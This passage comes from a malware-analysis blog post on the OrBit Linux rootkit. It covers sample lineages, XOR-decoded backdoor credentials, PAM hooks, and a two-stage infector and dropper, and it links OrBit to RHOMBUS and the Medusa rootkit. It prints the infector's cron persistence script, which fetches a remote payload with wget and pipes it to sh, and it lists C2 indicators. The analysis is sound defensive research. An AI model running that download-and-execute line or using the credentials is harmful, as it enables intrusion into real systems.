&lt;ul&gt;
&lt;li&gt;Credential harvesting is saved in &lt;code&gt;remote.txt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;This variant captures only SSH logins, not sudo sessions (&lt;code&gt;[sudo] pass&lt;/code&gt; is
missing).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The result is 52 decoded XOR strings in &lt;code&gt;eea274ed&lt;/code&gt; versus 47 in &lt;code&gt;a6138638&lt;/code&gt;.
Both samples retain &lt;code&gt;.udp&lt;/code&gt;, &lt;code&gt;.pts&lt;/code&gt;, and the credential pair, preserving the
core backdoor functionality. The removals target logging and forensic-capture
features, suggesting &lt;code&gt;a6138638&lt;/code&gt; was tailored for a deployment where a lighter
footprint was preferred.&lt;/p&gt;
&lt;h4&gt;a34299a1 / b1dd18a6 / 989f7eb4: Lineage B continuation&lt;span class="hx:absolute hx:-mt-20" id="a34299a1--b1dd18a6--989f7eb4-lineage-b-continuation"&gt;&lt;/span&gt;
&lt;a href="#a34299a1--b1dd18a6--989f7eb4-lineage-b-continuation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;These samples continue the 54-export lite build lineage that first appeared in
2023 with &lt;code&gt;3ba6c174&lt;/code&gt;/&lt;code&gt;4203271c&lt;/code&gt;. The hook set is identical (49 hooks), the XOR
key remains 0xA2, and the same capability domains are absent: no PAM credential
interception, no pcap sniffing, no TCP port hiding. The password field is still
missing from the binary. Each sample carries a distinct username (&lt;code&gt;rebel&lt;/code&gt;,
&lt;code&gt;Gestuff&lt;/code&gt;, &lt;code&gt;adm1n&lt;/code&gt;, respectively), consistent with the Lineage B pattern of
per-deployment username rotation, with no corresponding password.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;989f7eb4&lt;/code&gt; is the payload extracted from the &lt;code&gt;48a68d05&lt;/code&gt; dropper. It was not on
VT; we uploaded it.&lt;/p&gt;
&lt;h3&gt;Samples From 2025&lt;span class="hx:absolute hx:-mt-20" id="samples-from-2025"&gt;&lt;/span&gt;
&lt;a href="#samples-from-2025" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hash&lt;/th&gt;
&lt;th&gt;XOR&lt;/th&gt;
&lt;th&gt;Working dir&lt;/th&gt;
&lt;th&gt;SSH Username&lt;/th&gt;
&lt;th&gt;SSH Password&lt;/th&gt;
&lt;th&gt;# Exports&lt;/th&gt;
&lt;th&gt;# Hooks&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;8e83cbb2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0xA2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/lib/libseconf/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;infinity&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;302010&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;66&lt;/td&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;td&gt;payload .so&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2b2eeb22&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0xA2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/lib/libseconf/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;adm1n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;asdfasdf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;td&gt;payload .so (extracted from &lt;code&gt;d3d204c1&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;84828f31&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0xA2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/lib/libseconf/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;adm1n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;asdfasdf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;td&gt;truncated copy of &lt;code&gt;2b2eeb22&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;090b15fd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;dropper (carries &lt;code&gt;8e83cbb2&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;64a3ebd3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;dropper (carries &lt;code&gt;8e83cbb2&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;b85ed157&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;dropper (carries &lt;code&gt;8e83cbb2&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;d3d204c1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;dropper (carries &lt;code&gt;2b2eeb22&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;73b95b7d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;td&gt;infector (carries 090b15fd as inner ELF)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The 2025 epoch marks two significant capability additions to Lineage A and
confirms the rootkit&amp;rsquo;s return to the 0xA2 encryption key after the 2024 0xAA
experiment.&lt;/p&gt;
&lt;p&gt;Two distinct rootkit .so builds are present in 2025, both Lineage A:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;8e83cbb2&lt;/code&gt; represents the most capable build to date. Its 66-export set
includes a significant new hook not seen in any prior variant:
&lt;code&gt;pam_sm_authenticate&lt;/code&gt;. This is the PAM service-side authentication function,
meaning the rootkit now hooks both sides of the PAM stack. Where earlier
variants could only passively capture credentials via client-side
&lt;code&gt;pam_authenticate&lt;/code&gt;, this build can also forge authentication outcomes, allowing
the attacker to approve or deny login attempts at will. The export set also
includes &lt;code&gt;xread&lt;/code&gt;, first seen in &lt;code&gt;296d28eb&lt;/code&gt; (2023).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;2b2eeb22&lt;/code&gt; is a second Lineage A payload with 64 exports. XOR 0xA2 decode
confirms credentials &lt;code&gt;adm1n&lt;/code&gt;/&lt;code&gt;asdfasdf&lt;/code&gt;, the same operator behind &lt;code&gt;ec7462c3&lt;/code&gt;
(2022), &lt;code&gt;296d28eb&lt;/code&gt; (2023), and the &lt;code&gt;26082cd3&lt;/code&gt; inner payload (2024), now
spanning four years. &lt;code&gt;84828f31&lt;/code&gt; is a truncated copy of &lt;code&gt;2b2eeb22&lt;/code&gt; (same
BuildID: &lt;code&gt;cbc9724027399723a27daa4114ffcdf906cb802f&lt;/code&gt;, identical bytes up to
107KB, missing the trailing 102KB containing section headers and symbol
tables), it is likely an incomplete extraction or download artifact. It is not
a distinct sample.&lt;/p&gt;
&lt;p&gt;XOR 0xA2 string decode of both payloads confirms the full Lineage A string set
is restored: &lt;code&gt;sshpass.txt&lt;/code&gt; and &lt;code&gt;sshpass2.txt&lt;/code&gt; both present, plus &lt;code&gt;.logpam&lt;/code&gt;,
&lt;code&gt;.udp&lt;/code&gt;, &lt;code&gt;.ports&lt;/code&gt; (×2), &lt;code&gt;/proc/net/tcp&lt;/code&gt;. The string removals introduced by the
2024 0xAA cluster (&lt;code&gt;a6138638&lt;/code&gt;&amp;rsquo;s missing &lt;code&gt;local.txt&lt;/code&gt;, &lt;code&gt;sniff.txt&lt;/code&gt;, etc.) were
not carried forward, and both builds return to the comprehensive logging and
credential-capture model.&lt;/p&gt;
&lt;h4&gt;Dropper Samples&lt;span class="hx:absolute hx:-mt-20" id="dropper-samples"&gt;&lt;/span&gt;
&lt;a href="#dropper-samples" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;090b15fd&lt;/code&gt;, &lt;code&gt;64a3ebd3&lt;/code&gt;, and &lt;code&gt;b85ed157&lt;/code&gt; are statically linked ELF executables
that carry &lt;code&gt;8e83cbb2&lt;/code&gt; as an embedded .so and share the same
&lt;code&gt;Build ID: da256c78910c552eb334814ada85c7655b717c4f&lt;/code&gt;. &lt;code&gt;d3d204c1&lt;/code&gt; is the same
type of dropper carrying &lt;code&gt;2b2eeb22&lt;/code&gt;. All four share the same architecture first
seen in &lt;code&gt;f1612924&lt;/code&gt; (from 2022).&lt;/p&gt;
&lt;h5&gt;73b95b7d: A New Dropper Architecture&lt;span class="hx:absolute hx:-mt-20" id="73b95b7d-a-new-dropper-architecture"&gt;&lt;/span&gt;
&lt;a href="#73b95b7d-a-new-dropper-architecture" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;&lt;code&gt;73b95b7d&lt;/code&gt; is not just a dropper, it is an infector that carries the dropper as
an embedded payload. This creates a two-stage delivery chain: infector →
dropper → rootkit.&lt;/p&gt;
&lt;p&gt;The inner binary (&lt;code&gt;090b15fd&lt;/code&gt;, embedded at file offset &lt;code&gt;0x20d7&lt;/code&gt;) is the dropper
we previously saw. The infector&amp;rsquo;s role is propagation and persistence; the
dropper&amp;rsquo;s role is to extract and install the rootkit &lt;code&gt;.so&lt;/code&gt; via &lt;code&gt;ld.so.preload&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The infector scans the filesystem for ELF binaries and injects the second-stage
payload into them. An infection marker &lt;code&gt;bongripz4jezuz&lt;/code&gt; (stored in base64
encoding as: &lt;code&gt;Ym9uZ3JpcHo0amV6dXoK&lt;/code&gt;) is checked before each infection attempt
to avoid re-infecting the same target. The injected binaries include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/bin/ls&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;All 64-bit ELF files in the current working directory that have read/write
access.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Additionally, &lt;code&gt;/etc/cron.hourly/0&lt;/code&gt; is created as a persistence mechanism (to
download and execute a remote payload), though it is a shell script rather than
an ELF injection target.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&lt;/span&gt;wget --quiet http://cf0&lt;span class="o"&gt;[&lt;/span&gt;.&lt;span class="o"&gt;]&lt;/span&gt;pw/0/etc/cron.hourly/0 -O- 2&amp;gt;/dev/null&lt;span class="p"&gt;|&lt;/span&gt;sh&amp;gt;/dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This is the first OrBit component with any form of C2 communication. Every
previous version was a purely passive implant, meaning the attacker connected
via the SSH backdoor.&lt;/p&gt;
&lt;p&gt;This introduces an external command channel that can deliver updated payloads
or instructions, adding a reinfection mechanism on top of &lt;code&gt;ld.so.preload&lt;/code&gt;
persistence.&lt;/p&gt;
&lt;p&gt;The earlier droppers stored all paths and commands as plaintext. &lt;code&gt;73b95b7d&lt;/code&gt; is
the first dropper to implement string protection: a custom substitution cipher
using two lookup tables at &lt;code&gt;.data&lt;/code&gt; offsets for the cipher and plain, each with
88 entries, defining a character-by-character mapping. Notably, this is a
different scheme from the XOR encryption used by the previous rootkit payloads.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c++" data-lang="c++"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;mw_plain_table&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x4e&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;0123456789abcdefghijklmnopqrstuvzywxABCDEFGHIJKLMNOPQRSTUVZYWX|:. !#-/;&amp;amp;*&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;\&amp;#34;\n\r&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;mw_cipher_table&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x58&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;&amp;lt;&amp;gt;@o$:,.l+*^?=)(|AB&amp;amp;%;D{!wkUxzvutsrqp_nm-ihgfFCcba~K23456789eyd1XSNQWTZMIRHGVOYLjPJE/][&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h5&gt;Connection to RHOMBUS&lt;span class="hx:absolute hx:-mt-20" id="connection-to-rhombus"&gt;&lt;/span&gt;
&lt;a href="#connection-to-rhombus" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h5&gt;&lt;p&gt;The structure of this dropper, which delivers the OrBit payload in the final
stage, is identical to that described in this
&lt;a href="https://blog.apnic.net/2020/05/22/rhombus-a-new-iot-malware/"target="_blank" rel="noopener"&gt;APNIC blog&lt;/a&gt; that
analyzed a dropper that delivered RHOMBUS malware.&lt;/p&gt;
&lt;p&gt;Rhombus is a Linux-based botnet malware first reported in February 2020 by the
&lt;a href="https://old.reddit.com/r/LinuxMalware/comments/fh3zar/memo_rhombus_an_elf_bot_installerdropper/"target="_blank" rel="noopener"&gt;MalwareMustDie research group&lt;/a&gt;,
which analyzed and shared samples of it. It acts as an installer/dropper that
persists on infected devices, drops a second-stage payload, and then uses the
compromised system for DDoS activity. The target systems are VPS and IoT
devices. (SHA256 of the dropper:
&lt;code&gt;b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Interestingly, the dropper &lt;code&gt;73b95b7d&lt;/code&gt; that delivers the OrBit payload in the
final stage is identical to the one used in the Rhombus campaign 6 years ago.
Coincidentally, both droppers use the same domain to download the payload as
part of the cron-job-based persistence. The current resolution of the domain is
to &lt;code&gt;109.95.212[.]253&lt;/code&gt;. The host has a unique BANNER_0_HASH-IP value,
&lt;code&gt;ba0c31785465186600a76b7af2a37aa6&lt;/code&gt;, that is shared with only one other IP,
&lt;code&gt;109.95.211[.]141&lt;/code&gt;, as shown in the screenshot below from Validin. Based on the
ASN resolution, both IP addresses are located in Russia.&lt;/p&gt;
&lt;p&gt;The fact that the OrBit dropper shares the same domain as malware from 6 years
ago can also be interpreted as an attempt to mislead researchers; therefore, we
are not taking this evidence into account for attribution at this moment.
However, it is worth noting that this connection exists.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/05/orbit-returns/images/fig1.png" title="Shared BANNER_0_HASH-IP value." alt="Screenshot from Validin showing the two IPs sharing the same banner hash." loading="lazy" /&gt;
&lt;figcaption&gt;Shared BANNER_0_HASH-IP value.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/05/orbit-returns/images/fig2.png" title="Resolution of http://cf0[.]pw" alt="Screenshot from Validin showing the resolution of a domain to one of the IP addresses" loading="lazy" /&gt;
&lt;figcaption&gt;Resolution of http://cf0[.]pw&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Samples From February 2026&lt;span class="hx:absolute hx:-mt-20" id="samples-from-february-2026"&gt;&lt;/span&gt;
&lt;a href="#samples-from-february-2026" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hash&lt;/th&gt;
&lt;th&gt;XOR&lt;/th&gt;
&lt;th&gt;Working dir&lt;/th&gt;
&lt;th&gt;SSH Username&lt;/th&gt;
&lt;th&gt;SSH Password&lt;/th&gt;
&lt;th&gt;# Exports&lt;/th&gt;
&lt;th&gt;# Hooks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;04c06be0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0xA2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/lib/libseconf/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jokerteam&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HACK89SERVER&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;d7b487d2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0xA2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/lib/libseconf/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;57ill4Cu63&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1qaz@WSX3edc098&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;54&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;These two samples are confirmed to be identical in structure: the same 54-hook
set, the same XOR key (0xA2), and the same working directory
(&lt;code&gt;/lib/libseconf/&lt;/code&gt;). The only difference is credentials:
&lt;code&gt;jokerteam&lt;/code&gt;/&lt;code&gt;HACK89SERVER&lt;/code&gt; versus &lt;code&gt;57ill4Cu63&lt;/code&gt;/&lt;code&gt;1qaz@WSX3edc098&lt;/code&gt;. XOR 0xA2
decode confirms the full Lineage A string set.&lt;/p&gt;
&lt;p&gt;No Lineage B samples have surfaced since 2024, suggesting the lite build may
have been retired or consolidated back into the main branch.&lt;/p&gt;
&lt;h3&gt;Connection to BLOCKADE SPIDER&lt;span class="hx:absolute hx:-mt-20" id="connection-to-blockade-spider"&gt;&lt;/span&gt;
&lt;a href="#connection-to-blockade-spider" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;In CrowdStrike’s 2026 Global Threat
&lt;a href="https://www.crowdstrike.com/explore/2026-global-threat-report"target="_blank" rel="noopener"&gt;Report&lt;/a&gt;, they
mention that
&lt;a href="https://www.crowdstrike.com/en-us/adversaries/blockade-spider/"target="_blank" rel="noopener"&gt;BLOCKADE SPIDER&lt;/a&gt;
used the OrBit backdoor to maintain persistence and stealthy access to
virtualization environments.&lt;/p&gt;
&lt;p&gt;BLOCKADE SPIDER is a CrowdStrike-tracked eCrime adversary that has been active
at least since 2024. They are known for running Embargo ransomware campaigns
using sophisticated, multi-domain attack techniques.&lt;/p&gt;
&lt;h2&gt;Origin: OrBit is a Fork of the Medusa Open-Source Rootkit&lt;span class="hx:absolute hx:-mt-20" id="origin-orbit-is-a-fork-of-the-medusa-open-source-rootkit"&gt;&lt;/span&gt;
&lt;a href="#origin-orbit-is-a-fork-of-the-medusa-open-source-rootkit" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Mandiant&amp;rsquo;s reporting on
&lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations"target="_blank" rel="noopener"&gt;UNC3886 espionage operations&lt;/a&gt;
identifies MEDUSA and its installer, SEAELF, as tools used by this
state-sponsored actor against Juniper and VMware infrastructure. Essentially,
OrBit is built from Medusa, an open-source LD_PRELOAD rootkit published on
GitHub (&lt;a href="http://github.com/ldpreload/Medusa"target="_blank" rel="noopener"&gt;github.com/ldpreload/Medusa&lt;/a&gt;) in
December 2022.&lt;/p&gt;
&lt;p&gt;Mandiant&amp;rsquo;s MEDUSA configuration table matches our 2024 Lineage A 0xAA-key
cluster exactly across four independent fields: the XOR key &lt;code&gt;0xAA&lt;/code&gt;, the
backdoor credentials &lt;code&gt;Y0u4reCu6e&lt;/code&gt; and &lt;code&gt;1qaz@WSX3edc123&lt;/code&gt;, the install path
/lib/locate/, and a modification to the rootkit that redirects strace output to
&lt;code&gt;/tmp/orbit.txt&lt;/code&gt;. That literal &lt;code&gt;orbit&lt;/code&gt; filename, preserved as a plaintext
artifact inside UNC3886&amp;rsquo;s MEDUSA binary, is direct cross-attribution:
Mandiant&amp;rsquo;s &amp;ldquo;MEDUSA&amp;rdquo; sample set and our &amp;ldquo;OrBit&amp;rdquo; 2024 cluster are the same
builds.&lt;/p&gt;
&lt;p&gt;We compiled Medusa from source and compared the resulting binaries
byte-for-byte against our OrBit corpus. The match is unambiguous, and it
rewrites the attribution and evolution story.&lt;/p&gt;
&lt;h3&gt;Evidence of the Fork&lt;span class="hx:absolute hx:-mt-20" id="evidence-of-the-fork"&gt;&lt;/span&gt;
&lt;a href="#evidence-of-the-fork" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The first is a function-set and export match. Compiling Medusa&amp;rsquo;s
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/src/rkld.c"target="_blank" rel="noopener"&gt;src/rkld.c&lt;/a&gt;
against the default
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/Makefile#L30"target="_blank" rel="noopener"&gt;Makefile recipe&lt;/a&gt;
produces a shared object whose function set, hook list, and XOR-obfuscated
string table are a direct superset match for OrBit Lineage A samples. The 2022
OrBit baseline (&lt;code&gt;ec7462c3&lt;/code&gt;) shares all core exports with the Medusa build and
reuses the identical XOR 0xA2 string obfuscation scheme driven by Medusa&amp;rsquo;s
build-time
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/src/config.c#L180"target="_blank" rel="noopener"&gt;xor_dump() pipeline&lt;/a&gt;,
with the XOR key itself hardcoded in
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/src/config.c#L349"target="_blank" rel="noopener"&gt;config.c&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The second is a source-filename fingerprint that is present in almost every
sample we analyzed. Some of the samples ship with an unstripped ELF &lt;code&gt;.symtab&lt;/code&gt;.
The resulting filenames are preserved verbatim: rootkit samples carry &lt;code&gt;rkld.c&lt;/code&gt;
and, when Lineage A is linked in, &lt;code&gt;rknet.c&lt;/code&gt;, while loader samples carry
&lt;code&gt;rkload.c&lt;/code&gt;. Those are the exact names of Medusa&amp;rsquo;s source files,
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/src/rkld.c"target="_blank" rel="noopener"&gt;src/rkld.c&lt;/a&gt;,
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/src/rknet.c"target="_blank" rel="noopener"&gt;src/rknet.c&lt;/a&gt;, and
&lt;a href="https://github.com/ldpreload/Medusa/blob/master/src/rkload.c"target="_blank" rel="noopener"&gt;src/rkload.c&lt;/a&gt;.
The filenames themselves are not secret, since the Medusa repository is public,
but their verbatim presence in the compiled binary is a strong attribution
anchor: every unstripped sample directly identifies the upstream tree it was
built from. Of the samples in our corpus, only three are fully stripped (the
2025 dropper &lt;code&gt;73b95b7d&lt;/code&gt;, and the rootkit binaries &lt;code&gt;a6138638&lt;/code&gt; and &lt;code&gt;b9822764&lt;/code&gt;).
Three representative samples are shown below: a full Lineage A rootkit
(&lt;code&gt;ec7462c3&lt;/code&gt;, 2022), a Lineage B lite rootkit (&lt;code&gt;3ba6c174&lt;/code&gt;, 2023), and the SEAELF
loader (&lt;code&gt;26082cd3&lt;/code&gt;, 2024).&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ readelf -s ec7462c3f4a874... &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;/FILE LOCAL/&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 25: &lt;span class="m"&gt;0000000000000000&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; FILE LOCAL DEFAULT ABS crtstuff.c
